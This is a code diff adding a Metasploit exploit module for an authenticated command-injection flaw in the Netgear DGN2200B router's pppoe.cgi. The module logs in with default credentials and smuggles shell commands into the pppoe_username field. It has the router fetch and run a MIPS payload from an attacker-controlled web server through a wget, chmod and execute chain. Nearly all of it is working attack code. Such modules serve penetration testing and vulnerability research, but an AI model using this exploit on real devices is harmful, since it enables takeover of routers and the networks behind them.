|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ManualRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::Remote::HttpServer |
| 15 | + include Msf::Exploit::EXE |
| 16 | + include Msf::Exploit::FileDropper |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution', |
| 21 | + 'Description' => %q{ |
| 22 | + Some Netgear Routers are vulnerable to an authenticated OS command injection. |
| 23 | + Default credentials for the web interface are admin/admin or admin/password. |
| 24 | + Since it is a blind os command injection vulnerability, there is no output for the |
| 25 | + executed command when using the cmd generic payload. A ping command against a |
| 26 | + controlled system could be used for testing purposes. |
| 27 | +
|
| 28 | + WARNING: We overwrite parts of the PPPOE configuration! Backup it prior using this module! |
| 29 | + }, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module |
| 33 | + 'juan vazquez' # minor help with msf module |
| 34 | + ], |
| 35 | + 'License' => MSF_LICENSE, |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + [ 'BID', '57998' ], |
| 39 | + [ 'EDB', '24513' ], |
| 40 | + [ 'OSVDB', '90320' ], |
| 41 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ] |
| 42 | + ], |
| 43 | + 'DisclosureDate' => 'Feb 15 2013', |
| 44 | + 'Privileged' => true, |
| 45 | + 'Platform' => ['linux','unix'], |
| 46 | + 'Payload' => |
| 47 | + { |
| 48 | + 'DisableNops' => true |
| 49 | + }, |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + [ 'CMD', |
| 53 | + { |
| 54 | + 'Arch' => ARCH_CMD, |
| 55 | + 'Platform' => 'unix' |
| 56 | + } |
| 57 | + ], |
| 58 | + [ 'Linux mipsbe Payload', |
| 59 | + { |
| 60 | + 'Arch' => ARCH_MIPSBE, |
| 61 | + 'Platform' => 'linux' |
| 62 | + } |
| 63 | + ], |
| 64 | + ], |
| 65 | + 'DefaultTarget' => 1, |
| 66 | + )) |
| 67 | + |
| 68 | + register_options( |
| 69 | + [ |
| 70 | + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), |
| 71 | + OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), |
| 72 | + OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), |
| 73 | + OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), |
| 74 | + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 45]) |
| 75 | + ], self.class) |
| 76 | + end |
| 77 | + |
| 78 | + def get_config(config, pattern) |
| 79 | + if config =~ /#{pattern}/ |
| 80 | + #puts "[*] #{$1}" #debugging |
| 81 | + return $1 |
| 82 | + end |
| 83 | + return "" |
| 84 | + end |
| 85 | + |
| 86 | + def grab_config(user,pass) |
| 87 | + print_status("#{rhost}:#{rport} - Trying to download the original configuration") |
| 88 | + begin |
| 89 | + res = send_request_cgi({ |
| 90 | + 'uri' => '/BAS_pppoe.htm', |
| 91 | + 'method' => 'GET', |
| 92 | + 'authorization' => basic_auth(user,pass) |
| 93 | + }) |
| 94 | + if res.nil? or res.code == 404 |
| 95 | + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") |
| 96 | + end |
| 97 | + if [200, 301, 302].include?(res.code) |
| 98 | + if res.body =~ /pppoe_username/ |
| 99 | + print_good("#{rhost}:#{rport} - Successful downloaded the configuration") |
| 100 | + else |
| 101 | + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported") |
| 102 | + end |
| 103 | + else |
| 104 | + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") |
| 105 | + end |
| 106 | + rescue ::Rex::ConnectionError |
| 107 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") |
| 108 | + end |
| 109 | + |
| 110 | + @pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td") |
| 111 | + @pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td") |
| 112 | + @pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td") |
| 113 | + |
| 114 | + @runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">") |
| 115 | + @wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">") |
| 116 | + @pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">") |
| 117 | + @wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">") |
| 118 | + @wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">") |
| 119 | + @wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">") |
| 120 | + @wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">") |
| 121 | + @wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">") |
| 122 | + @wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">") |
| 123 | + @wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">") |
| 124 | + @wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">") |
| 125 | + @opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">") |
| 126 | + @pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">") |
| 127 | + @pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">") |
| 128 | + @pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">") |
| 129 | + @apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">") |
| 130 | + end |
| 131 | + |
| 132 | + def restore_conf(user,pass,uri) |
| 133 | + # we have used most parts of the original configuration |
| 134 | + # just need to restore pppoe_username |
| 135 | + cmd = @pppoe_username_orig |
| 136 | + print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration") |
| 137 | + |
| 138 | + res = request(cmd,user,pass,uri) |
| 139 | + |
| 140 | + if (!res) |
| 141 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") |
| 142 | + end |
| 143 | + |
| 144 | + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") |
| 145 | + select(nil, nil, nil, @timeout) |
| 146 | + end |
| 147 | + |
| 148 | + def request(cmd,user,pass,uri) |
| 149 | + begin |
| 150 | + |
| 151 | + #original post request |
| 152 | + #login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26 |
| 153 | + #&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5 |
| 154 | + #&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen |
| 155 | + #&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0 |
| 156 | + #&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0 |
| 157 | + #&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05 |
| 158 | + #&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0 |
| 159 | + #&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0 |
| 160 | + |
| 161 | + res = send_request_cgi( |
| 162 | + { |
| 163 | + 'uri' => uri, |
| 164 | + 'method' => 'POST', |
| 165 | + 'authorization' => basic_auth(user,pass), |
| 166 | + 'encode_params' => false, |
| 167 | + 'vars_post' => { |
| 168 | + "login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok |
| 169 | + "pppoe_username" => cmd, |
| 170 | + "pppoe_passwd" => @pppoe_passwd_orig, |
| 171 | + "pppoe_servicename" => @pppoe_servicename_orig, |
| 172 | + "pppoe_dod" => "1", #default must be ok |
| 173 | + "pppoe_idletime" => "5", #default must be ok |
| 174 | + "WANAssign" => "Dynamic", #default must be ok |
| 175 | + "DNSAssign" => "0", #default must be ok |
| 176 | + "en_nat" => "1", #default must be ok |
| 177 | + "MACAssign" => "0", #default must be ok |
| 178 | + "apply" => @apply_orig, |
| 179 | + "runtest" => @runtest_orig, |
| 180 | + "wan_ipaddr" => @wan_ipaddr_orig, |
| 181 | + "pppoe_localip" => @pppoe_localip_orig, |
| 182 | + "wan_dns_sel" => @wan_dns_sel_orig, |
| 183 | + "wan_dns1_pri" => @wan_dns1_pri_orig, |
| 184 | + "wan_dns1_sec" => @wan_dns1_sec_orig, |
| 185 | + "wan_hwaddr_sel" => @wan_hwaddr_sel_orig, |
| 186 | + "wan_hwaddr_def" => @wan_hwaddr_def_orig, |
| 187 | + "wan_hwaddr2" => @wan_hwaddr2_orig, |
| 188 | + "wan_hwaddr_pc" => @wan_hwaddr_pc_orig, |
| 189 | + "wan_nat" => @wan_nat_orig, |
| 190 | + "opendns_parental_ctrl" => @opendns_parental_ctrl_orig, |
| 191 | + "pppoe_flet_sel" => @pppoe_flet_sel_orig, |
| 192 | + "pppoe_flet_type" => @pppoe_flet_type_orig, |
| 193 | + "pppoe_temp" => @pppoe_temp_orig, |
| 194 | + "opendns_parental_ctrl" => @opendns_parental_ctrl_orig |
| 195 | + } |
| 196 | + }) |
| 197 | + return res |
| 198 | + rescue ::Rex::ConnectionError |
| 199 | + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") |
| 200 | + return nil |
| 201 | + end |
| 202 | + end |
| 203 | + |
| 204 | + def logout(user,pass) |
| 205 | + begin |
| 206 | + res = send_request_cgi({ |
| 207 | + 'uri' => '/LGO_logout.htm', |
| 208 | + 'method' => 'GET', |
| 209 | + 'authorization' => basic_auth(user,pass) |
| 210 | + }) |
| 211 | + if res.nil? or res.code == 404 |
| 212 | + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible") |
| 213 | + end |
| 214 | + rescue ::Rex::ConnectionError |
| 215 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") |
| 216 | + end |
| 217 | + |
| 218 | + end |
| 219 | + |
| 220 | + def exploit |
| 221 | + downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) |
| 222 | + uri = '/pppoe.cgi' |
| 223 | + user = datastore['USERNAME'] |
| 224 | + pass = datastore['PASSWORD'] |
| 225 | + @timeout = datastore['HTTP_DELAY'] |
| 226 | + |
| 227 | + # |
| 228 | + # testing Login |
| 229 | + # |
| 230 | + print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") |
| 231 | + begin |
| 232 | + res = send_request_cgi({ |
| 233 | + 'uri' => '/', |
| 234 | + 'method' => 'GET', |
| 235 | + 'authorization' => basic_auth(user,pass) |
| 236 | + }) |
| 237 | + if res.nil? or res.code == 404 |
| 238 | + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") |
| 239 | + end |
| 240 | + if [200, 301, 302].include?(res.code) |
| 241 | + print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") |
| 242 | + else |
| 243 | + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") |
| 244 | + end |
| 245 | + rescue ::Rex::ConnectionError |
| 246 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") |
| 247 | + end |
| 248 | + |
| 249 | + grab_config(user,pass) |
| 250 | + |
| 251 | + if target.name =~ /CMD/ |
| 252 | + if not (datastore['CMD']) |
| 253 | + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") |
| 254 | + end |
| 255 | + cmd = payload.encoded |
| 256 | + cmd = "%26%20#{cmd}%20%26" |
| 257 | + res = request(cmd,user,pass,uri) |
| 258 | + if (!res) |
| 259 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") |
| 260 | + else |
| 261 | + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") |
| 262 | + end |
| 263 | + return |
| 264 | + end |
| 265 | + |
| 266 | + #thx to Juan for his awesome work on the mipsel elf support |
| 267 | + @pl = generate_payload_exe |
| 268 | + @elf_sent = false |
| 269 | + |
| 270 | + # |
| 271 | + # start our server |
| 272 | + # |
| 273 | + resource_uri = '/' + downfile |
| 274 | + |
| 275 | + if (datastore['DOWNHOST']) |
| 276 | + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri |
| 277 | + else |
| 278 | + #do not use SSL |
| 279 | + if datastore['SSL'] |
| 280 | + ssl_restore = true |
| 281 | + datastore['SSL'] = false |
| 282 | + end |
| 283 | + |
| 284 | + #we use SRVHOST as download IP for the coming wget command. |
| 285 | + #SRVHOST needs a real IP address of our download host |
| 286 | + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") |
| 287 | + srv_host = Rex::Socket.source_address(rhost) |
| 288 | + else |
| 289 | + srv_host = datastore['SRVHOST'] |
| 290 | + end |
| 291 | + |
| 292 | + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri |
| 293 | + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") |
| 294 | + start_service({'Uri' => { |
| 295 | + 'Proc' => Proc.new { |cli, req| |
| 296 | + on_request_uri(cli, req) |
| 297 | + }, |
| 298 | + 'Path' => resource_uri |
| 299 | + }}) |
| 300 | + |
| 301 | + datastore['SSL'] = true if ssl_restore |
| 302 | + end |
| 303 | + |
| 304 | + # |
| 305 | + # download payload |
| 306 | + # |
| 307 | + print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}") |
| 308 | + #this filename is used to store the payload on the device |
| 309 | + filename = rand_text_alpha_lower(8) |
| 310 | + |
| 311 | + cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}" |
| 312 | + cmd = Rex::Text.uri_encode(cmd) |
| 313 | + cmd = "%26%20#{cmd}%20%26" |
| 314 | + res = request(cmd,user,pass,uri) |
| 315 | + if (!res) |
| 316 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") |
| 317 | + end |
| 318 | + |
| 319 | + # wait for payload download |
| 320 | + if (datastore['DOWNHOST']) |
| 321 | + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload") |
| 322 | + select(nil, nil, nil, datastore['HTTP_DELAY']) |
| 323 | + else |
| 324 | + wait_linux_payload |
| 325 | + end |
| 326 | + register_file_for_cleanup("/tmp/#{filename}") |
| 327 | + |
| 328 | + # |
| 329 | + #reload original configuration |
| 330 | + # |
| 331 | + restore_conf(user,pass,uri) |
| 332 | + |
| 333 | + # |
| 334 | + #lockout of the device and free the management sessions |
| 335 | + # |
| 336 | + logout(user,pass) |
| 337 | + end |
| 338 | + |
| 339 | + # Handle incoming requests from the server |
| 340 | + def on_request_uri(cli, request) |
| 341 | + #print_status("on_request_uri called: #{request.inspect}") |
| 342 | + if (not @pl) |
| 343 | + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") |
| 344 | + return |
| 345 | + end |
| 346 | + print_status("#{rhost}:#{rport} - Sending the payload to the server...") |
| 347 | + @elf_sent = true |
| 348 | + send_response(cli, @pl) |
| 349 | + end |
| 350 | + |
| 351 | + # wait for the data to be sent |
| 352 | + def wait_linux_payload |
| 353 | + print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") |
| 354 | + |
| 355 | + waited = 0 |
| 356 | + while (not @elf_sent) |
| 357 | + select(nil, nil, nil, 1) |
| 358 | + waited += 1 |
| 359 | + if (waited > datastore['HTTP_DELAY']) |
| 360 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") |
| 361 | + end |
| 362 | + end |
| 363 | + end |
| 364 | + |
| 365 | +end |
0 commit comments